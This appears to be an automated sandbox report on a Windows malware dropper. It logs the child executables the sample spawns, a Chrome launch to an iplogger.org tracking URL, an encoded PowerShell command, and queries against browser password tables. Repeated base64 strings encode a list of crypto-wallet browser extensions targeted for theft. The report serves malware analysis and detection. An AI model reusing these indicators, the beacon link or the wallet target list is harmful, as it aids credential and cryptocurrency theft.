Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AVmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\F0geI.exe "C:\Program Files (x86)\Company\NewProduct\F0geI.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe "C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe "C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\real.exe "C:\Program Files (x86)\Company\NewProduct\real.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\safert44.exe "C:\Program Files (x86)\Company\NewProduct\safert44.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\jshainx.exe "C:\Program Files (x86)\Company\NewProduct\jshainx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\brokerius.exe "C:\Program Files (x86)\Company\NewProduct\brokerius.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1620 --field-trial-handle=1836,i,2712633263184333272,1787265188000872962,131072 /prefetch:8	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe "C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe "C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\EU1.exe "C:\Program Files (x86)\Company\NewProduct\EU1.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1808,i,3896296885310030640,3823508835286942682,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1660 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5208 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3348 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4204 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4196 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AVmX4	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1784,i,17582887386196209726,11872164080402614177,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1620 --field-trial-handle=1836,i,2712633263184333272,1787265188000872962,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1676 --field-trial-handle=1864,i,14791828141535856649,9635454994269298468,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1764 --field-trial-handle=1820,i,9522427136226525438,15642075344658028701,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1732,i,1947956738124087181,12136632337956308802,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1816,i,3782769237029675981,13001374734431330952,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1928 --field-trial-handle=1724,i,11796048362106728651,8580721197028235758,131072 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Company\NewProduct\captain09876.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==

Source: C:\Users\user\Desktop\em1B8DcC72.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Users\user\Desktop\em1B8DcC72.exe

File created: C:\Users\user\AppData\Local\Temp\$inst

Jump to behavior

Source: brokerius.exe, 0000001B.00000002.854152661.000000000122A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT target_path, tab_url from downloadsles;C:\Program Files
Source: F0geI.exe, 00000010.00000003.448680162.0000000003DB4000.00000004.00000800.00020000.00000000.sdmp, 35852486804674887922747497.21.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

Code function: 16_2_0040A1FE CreateToolhelp32Snapshot,Process32First,Process32Next,

16_2_0040A1FE

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\

Source: ffnameedit.exe.1.dr, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV
Source: namdoitntn.exe.1.dr, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV
Source: jshainx.exe.1.dr, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGF